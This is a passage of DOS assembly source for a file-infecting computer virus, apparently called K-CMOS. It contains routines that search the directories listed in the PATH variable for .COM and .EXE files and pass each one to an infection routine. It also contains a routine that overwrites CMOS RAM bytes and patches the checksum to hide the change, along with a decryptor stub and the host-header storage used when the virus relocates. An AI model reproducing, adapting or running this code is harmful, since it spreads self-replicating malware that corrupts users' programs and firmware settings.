;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
|
|
FIND_FILE:
|
|
push si
|
|
push es
|
|
mov es,es:WORD PTR [si + PSP_SEG - VIRUS] ;es=saved PSP segment
|
|
mov es,es:2ch ;es:di points to environment
|
|
xor di,di
|
|
mov bx,si
|
|
FIND_PATH:
|
|
lea si,[bx + PATH_STR - VIRUS] ;source :ds:si = 'P'
|
|
lodsb ;load 'P'
|
|
mov cx,7FFFh ;size of environment= 32768 bytes
|
|
not cx ;cx=8000h
|
|
repne scasb ;find 'P' in es:di
|
|
mov cx,4
|
|
|
|
CHECK_NEXT_4:
|
|
lodsb ;check for 'ATH'
|
|
scasb
|
|
jne FIND_PATH
|
|
loop CHECK_NEXT_4
|
|
|
|
mov WORD PTR [bx + PATH_ADDRESS - VIRUS],di ;save path's address es:di
|
|
lea di,[bx + WORK_AREA - VIRUS]
|
|
pop es ;restore PSP segment
|
|
jmp short COPY_FILE_SPEC_TO_WORK_AREA
|
|
|
|
NO_FILE_FOUND:
|
|
cmp word ptr [bx + PATH_ADDRESS - VIRUS],0 ;has path string ended?
|
|
jne FOLLOW_THE_PATH ;if not there are more subdirs
|
|
jmp EXIT ;path string ended.. exit
|
|
|
|
FOLLOW_THE_PATH:
|
|
lea di,[bx + WORK_AREA - VIRUS] ;destination es:di = work area
|
|
mov si,WORD PTR [bx + PATH_ADDRESS - VIRUS] ;source ds:si = Environment
|
|
mov ds,WORD PTR [bx + PSP_SEG - VIRUS] ;ds=PSP segment
|
|
mov ds,ds:2ch ;ds:si points to environment
|
|
|
|
UP_TO_LODSB:
|
|
lodsb ;get character
|
|
xchg cx,ax ;he he
|
|
cmp cl,';' ;is it a ';'?
|
|
xchg cx,ax ;he he
|
|
je SEARCH_AGAIN
|
|
cmp al,0 ;end of path string?
|
|
je CLEAR_SI
|
|
stosb ;save path marker into di
|
|
jmp SHORT UP_TO_LODSB
|
|
|
|
CLEAR_SI: ;mark the fact that we are looking thru the final subdir
|
|
xor si,si
|
|
|
|
SEARCH_AGAIN:
|
|
mov WORD PTR cs:[bx + PATH_ADDRESS - VIRUS],si ;save address of next subdir
|
|
cmp BYTE PTR cs:[di-1],'\' ;ends with a '\'?
|
|
je COPY_FILE_SPEC_TO_WORK_AREA
|
|
mov al,'\' ;add '\' if not
|
|
stosb
|
|
|
|
;***********************************************
|
|
; put *.COM / *.EXE into workspace
|
|
;***********************************************
|
|
|
|
COPY_FILE_SPEC_TO_WORK_AREA:
|
|
push cs
|
|
pop ds ;ds=cs
|
|
mov WORD PTR [bx + FILENAME_PTR - VIRUS],di ;es:di = WORK_AREA
|
|
mov si,bp ;bp=file spec
|
|
mov cx,3 ;length of *.com0/ *.EXE0
|
|
rep movsw ;move *.COM0/ *.EXE0 to workspace
|
|
|
|
;************************************************
|
|
; Find FIRST FILE
|
|
;************************************************
|
|
|
|
mov ah,04EH ;DOS function
|
|
lea dx,[bx + WORK_AREA - VIRUS] ;dx points to path in workspace
|
|
mov cx,3Fh ;attributes RO or hidden OK
|
|
FIND_NEXT_FILE: int 21H
|
|
jnc FILE_FOUND
|
|
jmp short NO_FILE_FOUND
|
|
|
|
FILE_FOUND:
|
|
mov di,WORD PTR [bx + FILENAME_PTR - VIRUS] ;destination: es:di
|
|
lea si,[bx + DTA_File_NAME - VIRUS] ;origin ds:si
|
|
|
|
MOVE_ASCII_FILENAME:
|
|
lodsb ;move filename to the end of path
|
|
stosb
|
|
cmp al,0 ;end of ASCIIZ string?
|
|
jne MOVE_ASCII_FILENAME ;keep on going
|
|
pop si ;restore si to use in the following
|
|
push bp ;save COM / EXE string pointer
|
|
call CHECK_N_INFECT_FILE ;check file if file found
|
|
pop bp ;restore COM / EXE string pointer
|
|
jnc EXITX
|
|
mov bx,si ;fix bx
|
|
push si ;save si again
|
|
mov ah,04Fh
|
|
jmp short FIND_NEXT_FILE
|
|
|
|
EXIT:
|
|
pop si
|
|
EXITX:
|
|
ret
|
|
|
|
;==============================================================================
|
|
CMOS_CHCKSM:
|
|
|
|
; INPUT:
|
|
; DL = CMOS ADDRESS of BYTE TO be MODiFiED
|
|
; BL = NEW BYTE VALUE to be PUT IN CMOS RAM
|
|
|
|
; OUTPUT:
|
|
; None.
|
|
; REGISTERS USED: AX,CX,BX,DX
|
|
|
|
;*************************
|
|
; GET CMOS Checksum => CX
|
|
;*************************
|
|
|
|
xor ax,ax
|
|
mov al,2Eh ;msb of checksum address
|
|
out 70h,al ;send address / control byte
|
|
in al,71h ;read byte
|
|
|
|
xchg ch,al ;store al in ch
|
|
|
|
mov al,2Fh ;lsb of checksum address
|
|
out 70h,al ;send address / control byte
|
|
in al,71h ;read byte
|
|
|
|
xchg cl,al ;store lsb to cl
|
|
|
|
;*********************
|
|
; Fix CMOS Checksum
|
|
;*********************
|
|
|
|
push dx
|
|
xchg dl,al ;AL = address
|
|
out 70h,al ;send address / control byte
|
|
in al,71h ;read register
|
|
|
|
sub cx,ax ;subtract from checksum
|
|
|
|
add cx,bx ;update checksum value in register.
|
|
|
|
;****************************
|
|
; Write CMOS byte to Address
|
|
;****************************
|
|
|
|
pop dx
|
|
xchg dl,al ;AL = address
|
|
out 70h,al ;specify CMOS address
|
|
xchg al,bl ;new CMOS value => al
|
|
|
|
out 71h,al ;write new CMOS byte
|
|
|
|
;*********************
|
|
; Write CMOS Checksum
|
|
;*********************
|
|
|
|
mov al,2Eh ;address of checksum 's msb
|
|
out 70h,al ;specify CMOS address
|
|
xchg al,ch ;msb of new checksum
|
|
|
|
out 71h,al ;write new CMOS msb
|
|
|
|
mov al,2Fh ;address of checksum 's lsb
|
|
out 70h,al ;specify CMOS address
|
|
xchg al,cl ;lsb of new checksum
|
|
|
|
out 71h,al ;write new CMOS lsb
|
|
ret
|
|
|
|
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
|
|
NAME_AUTHOR db 'K-CM”S / K”hntark'
|
|
|
|
WORK_BUFFER db 0B9h,00,00 ;mov cx,VSIZE
|
|
db 0BBh,00,00 ;mov si,VADDRESS
|
|
db 02Eh,081h,07,00,00 ;add WORD PTR cs:[si],KEY
|
|
db 083h,0C3h,02 ;add si,02
|
|
;db 043h,043h ;inc bx, inc bx
|
|
db 0E2h,0F6h ;loop add..
|
|
|
|
COM_MASK db '*.COM',0
|
|
EXE_MASK db '*.EXE',0
|
|
PATH_STR db 'PATH=',0
|
|
|
|
START_IMAGE db 0E9h,0,0,020h
|
|
|
|
ORIG_SSSP dw 0,0
|
|
ORIG_IPCS dw 0,0
|
|
COM_FLAG db 0 ;0=COM 1=EXE
|
|
START_CODE db 4 dup (90h) ;4 bytes of COM or EXE hdr goes here
|
|
|
|
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
|
|
FINAL: ;label of byte of code to be kept in virus when it moves
|
|
|
|
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
|
|
HEAP:
|
|
|
|
START_CODE2 db 24d dup (0) ;2nd part of EXE hdr
|
|
|
|
PSP_SEG dw 0
|
|
|
|
PATH_ADDRESS dw 0
|
|
FILENAME_PTR dw 0
|
|
WORK_AREA db 64 DUP (0),'$'
|
|
|
|
DTA db 21 dup(0) ;reserved
|
|
DTA_File_Attr db ?
|
|
DTA_File_Time dw ?
|
|
DTA_File_Date dw ?
|
|
DTA_File_Size dd ?
|
|
DTA_File_Name db 13 dup(0)
|
|
|
|
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
|
|
ID equ 77h
|
|
DECRYPTOR_SIZE equ 16d ; equ OFFSET WORK_BUFFER - OFFSET START_IMAGE
|
|
|
|
MAIN ENDS
|
|
END HOST
|